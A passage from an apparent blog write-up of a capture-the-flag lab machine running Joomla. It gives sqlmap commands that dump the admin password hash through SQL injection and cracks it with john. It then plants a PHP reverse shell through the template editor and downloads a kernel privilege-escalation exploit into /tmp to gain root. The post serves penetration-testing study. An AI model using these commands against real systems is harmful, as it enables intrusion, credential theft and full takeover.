alt="" src="https://cdn-images-1.medium.com/max/1024/1*8EPTQedDOfYF5OaqP3zYZA.png" /><figcaption>sqlmap: determining the type of database</figcaption></figure><p><strong>Results(part 2): </strong>3 injection points located and confirmation that the <strong>DBMS is mysql!</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f0A5ogx2r0zolxGUuRTwsQ.png" /></figure><p><strong>Results(Part 3): </strong>Ohhhhh Mama. Show me them DB’s!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*3jqNdC9eRyhQbQqp_XtV-g.png" /><figcaption>sqlmap has discovered 5 databases!</figcaption></figure><h4><strong>Database Enumeration:</strong></h4><p><strong>Idea: </strong>Lets start with the obvious joomladb. We need to find out what tables are located inside of this database. In the original sqlmap command we used the --dbs to get a list of the databases. Now that we know which database we want to plunder, we’ll replace --dbs with “<strong>-D joomladb --tables</strong>”. This command says go inside of the joomladb database, and show me the tables.</p><p><strong>Command used: </strong>sqlmap -u “http://10.0.2.35/index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;list[fullordering]=updatexml&quot; --risk=3 --level=5 --random-agent <strong>-D joomladb --tables</strong> -p list[fullordering]</p><p><strong>Results: </strong>joomladb has 91 table entries, what were looking for is on the very bottom of the results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/183/1*Fs2XwB38Np-FUreHsOEM7g.png" /><figcaption>#__users table located within joomladb</figcaption></figure><p><strong>Idea: </strong>We are going to be using the same approach we used when we were telling sqlmap which database we wanted access to. Now we know which table we’d like to see the columns for. We can replace --tables, with “<strong>-T ‘#__users’ --columns</strong>”. The command will now read, Go into joomladb, access the #__users table, and show me the columns of the table.</p><p><strong>[Note]: </strong>Be sure to wrap <strong>#__users</strong> in quotes or sqlmap won’t be able to understand which table we want to access!</p><p><strong>Command used: </strong>sqlmap -u “http://10.0.2.35/index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;list[fullordering]=updatexml&quot; --risk=3 --level=5 --random-agent<strong> -D joomladb -T “#__users” --columns</strong> -p list[fullordering]</p><p>[<strong>Note</strong>]: When you are asked about if you want to use common existence check, type ‘y’.</p><p><strong>Results: </strong>6 columns inside of the #__users table</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1ARC2oL_bolUV6ZC88Gl2Q.png" /><figcaption>6 columns found inside of the #__users table</figcaption></figure><p><strong>Idea: </strong>Now we know the names of the columns located inside of the #__users table, and I’m sure by now your starting to get the hang of how this database enumeration is happening. Lets remove --columns, and replace it with “<strong>-C username --dump</strong>” to dump the joomla admin username.</p><p><strong>Command Used:</strong> sqlmap -u “http://10.0.2.35/index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;list[fullordering]=updatexml&quot; --risk=3 --level=5 --random-agent <strong>-D joomladb -T “#__users” -C username --dump</strong> -p list[fullordering]</p><p><strong>Results: </strong>Joomla Admin username (<strong>admin</strong>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*KfxBPvYMt-VrAY3v1mYjfw.png" /></figure><p>Now we can adjust the above command to dump the password hashes associated with this user. Remove -C username, and replace it with “<strong>-C password --dump</strong>”</p><p><strong>Command used: </strong>sqlmap -u “http://10.0.2.35/index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;list[fullordering]=updatexml&quot;--risk=3 --level=5 --random-agent <strong>-D joomladb -T “#__users” -C password --dump</strong> -p list[fullordering]</p><p><strong>Results: </strong>Joomla admin account password hash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*TSqz0-0CIsbTfYrCICK4ng.png" /><figcaption>Successful extraction of admin credential from mysql database</figcaption></figure><p>And just like that, we have the username and password hash for the joomla administrator account!</p><p><strong>admin:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu</strong></p><h4><strong>Hash Cracking:</strong></h4><p>Before we can log into the account, we need to crack this password hash. The amount of time needed to crack the hash, will depend on how complex the password is, and what type of hashing algorithm was used to create the hash.</p><p>The first thing I like to do is save the hash to a file. For this write-up, I’ve saved the hash to a file called ‘<strong>john.hash</strong>’. Once we’ve got our hash saved inside of a file, we’ll toss it to john to see if it’s able to be cracked within a reasonable amount of time!</p><p><strong>Command used: </strong>john --crack-status john.hash</p><p><strong>WOW</strong>. This is a great example of why using a simple password is incredibly stupid. After executing the above command, john is able to crack the password in just over <strong>0 seconds</strong>!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/1*jI-7p7wmRH7qb8B8xurABQ.png" /></figure><p>If your still with me at this point, congratulations! We now have the Joomla administrator login credentials: <strong>admin:snoopy</strong></p><p>Lets login and see what sort of trouble we can cause with admin privileges!</p><h4><strong>Getting a Reverse Shell Via Joomla Admin Dashboard:</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t3PAlbDJvEM-utjqXGz6tw.png" /><figcaption>Joomla administrator dashboard</figcaption></figure><p>I’ve managed to pwn a few joomla web apps in my day, so lets see if the skills in my toolbox are still relevant with this system!</p><p><strong>Idea: </strong>From here we’re looking for a way to gain remote access to the server via a reverse shell. Because we have admin access, we should have no problems creating a new page to hold our reverse shell. Once uploaded, all we need to do is set up a local listener using netcat, and navigate to the malicious page in the browser.</p><p>From the drop down menu, select Extensions -&gt; Templates. Select one of the templates and you should see something like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WLvWYwlEnI5Ff_Q_87hd-A.png" /></figure><p>Now click the ‘new file’ button on the top of the screen. From here enter a name for the new file we’d like to add to the site and make sure to select PHP as the file type. I’ve decided to name my file ‘<strong>shelly.php</strong>’. Hit save and you should now be presented with a blank text-editor window. Now that we have a place for our reverse-shell, lets grab one that comes pre installed from the Kali command line!</p><p><strong>Command used: </strong>locate php-reverse-shell.php</p><p><strong>Results:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*uUo_wItCtCmJqORkyOFZHA.png" /><figcaption>location of php-reverse-shell.php</figcaption></figure><p>Next, we need to copy that file into our current directory.</p><p><strong>Command Used: </strong>cp /usr/share/webshells/php/php-reverse-shell.php ~/Pentests/DC_3</p><p>Open php-reverse-shell.php inside of your favorite editor and change the two lines marked with the comments: “<strong>// CHANGE THIS</strong>”. You should enter the IP of your attack machine, and a local listening port that is currently unused.</p><p><strong>Example:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/481/1*O7b4TAXRuSFKRQCVKMZPBQ.png" /></figure><p>Save and close the file. All that we need to do now, is copy the contents of our reverse shell into the new page that we’ve created on the joomla admin dashboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PGvGmutVybWncDLJ9WSC7g.png" /></figure><p>We’ve now created a new page shelly.php, and added the contents of the php-reverse-shell.php. After we save this file, our reverse shell can be accessed by navigating to <a href="http://10.0.2.35/templates/protostar/shelly.php."><strong>http://10.0.2.35/templates/protostar/shelly.php.</strong></a><strong> </strong>But before we do this, we must setup a listener on the local port we added to the php-reverse-shell.php script. The port I used was 4444, so we’ll use netcat to listen in on that port.</p><p><strong>Command Used: </strong>nc -nvlp 4444</p><p>Now from the browser, head over to <a href="http://10.0.2.35/templates/protostar/shelly.php.">http://10.0.2.35/templates/protostar/shelly.php</a>.</p><p>If everything was successful, the browser should seem to hang, and you should be greeted with a much deserved shell sitting in the terminal where we left the nc listener running!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*OvCtWSg8Lw198-gYj-8VrA.png" /><figcaption>Popped a shell! We are logged into the remote server as (www-data)</figcaption></figure><p>We now have a shell on the box! Currently we’re logged in as user (<strong>www-data</strong>).</p><h4>Phase 4: Privilege Escalation</h4><p>Now that we are logged in, we must figure out some key bits of information to see if we can weasel our way into gaining root access to the machine.</p><p>First lets check the /etc/passwd file for all of the usernames</p><p><strong>Command used: </strong>cat /etc/passwd</p><p><strong>Results:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*3rzxPE55BtSvvfiCEyFiDw.png" /></figure><p>Now, lets check for anything interesting in the /home directory.</p><p><strong>Command used</strong>: ls -Rhal /home/*</p><p><strong>Results:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*h7fmyfcCmNqXnwiadBRUoA.png" /></figure><p>Next, we’ll check the architecture of the server with the following command.</p><p><strong>Command used: </strong>cat /proc/version; uname -a; uname -mrs; rpm -q kernel; dmesg | grep Linux; ls /boot | grep vmlinuz-; file /bin/ls; cat /etc/lsb-release</p><p><strong>Result:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*SdzLEVXeOTwGzqhHoIdnvA.png" /><figcaption>Linux version 4.4.0–21; Distro: 16.04 xenial</figcaption></figure><p>I did a bit more digging and discovered the following exploit for this specific kernel and Linux distro.</p><p><strong>Exploit</strong>: <a href="https://www.exploit-db.com/exploits/39772">https://www.exploit-db.com/exploits/39772</a></p><p>Read through the exploit and try to understand how it functions. Once you have a decent understanding of how it works, we’re ready to <strong>wget</strong> it into the /tmp folder of our victim machine.</p><p>[<strong>note</strong>]: If you’re not in the /tmp directory you will not have the required permissions to save the incoming file! /tmp tends to be a world writable directory.</p><p><strong>Exploit Proof of Concept:<br>user@host</strong>:~/ebpf_mapfd_doubleput$ ./compile.sh<br><strong>user@host:</strong>~/ebpf_mapfd_doubleput$ ./doubleput<br><strong>starting writev woohoo, got pointer reuse writev returned successfully.<br>if this worked, you’ll have a root shell in &lt;=60 seconds.</strong><br><strong>suid file detected, launching rootshell… we have root privs now…</strong><br><strong>root@host:</strong>~/ebpf_mapfd_doubleput# id uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(vboxsf),1000(user)</p><p>Here’s what I did in order:</p><p><strong>1.) </strong>cd /tmp<strong><br>2.) </strong>wget <a href="https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip">https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip</a><strong><br>3.) </strong>unzip 39772.zip<strong><br>4.) </strong>cd 39772<strong><br>6.) </strong>tar -xf exploit.tar<strong><br>7.) </strong>cd ebpf_mapfd_doubleput_exploit<strong><br>8.) </strong>ls</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/316/1*j1B9Ce4Ik89sMXPUmqSrmA.jpeg" /><figcaption>Steps 6–8</figcaption></figure><p><strong>9.) </strong>At this point I was a bit worried. After executing the compile.sh script like it says in the proof of concept above, I got the following error:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*2q5i0vths1NZ5MQWy9NT7w.jpeg" /><figcaption>Yikes!</figcaption></figure><p><strong>10.)</strong> I eventually said screw it and just went ahead and executed the double put file and here is the results!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*0a2fyuSk4lbdmMonOMVLmg.jpeg" /><figcaption>We have <strong>ROOT</strong>!!</figcaption></figure><p>Phew! That error must not have been critical enough to stop the exploit from running it’s course. <strong>We now have complete control over the machine and can execute any code we like! Congrats if you were following along at home!</strong></p><p>Lets check the <strong>/root</strong> folder for our flag file and call it a day!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*XFZAKQgY_QHPeRH4m4-UeQ.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=416afe04c531" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>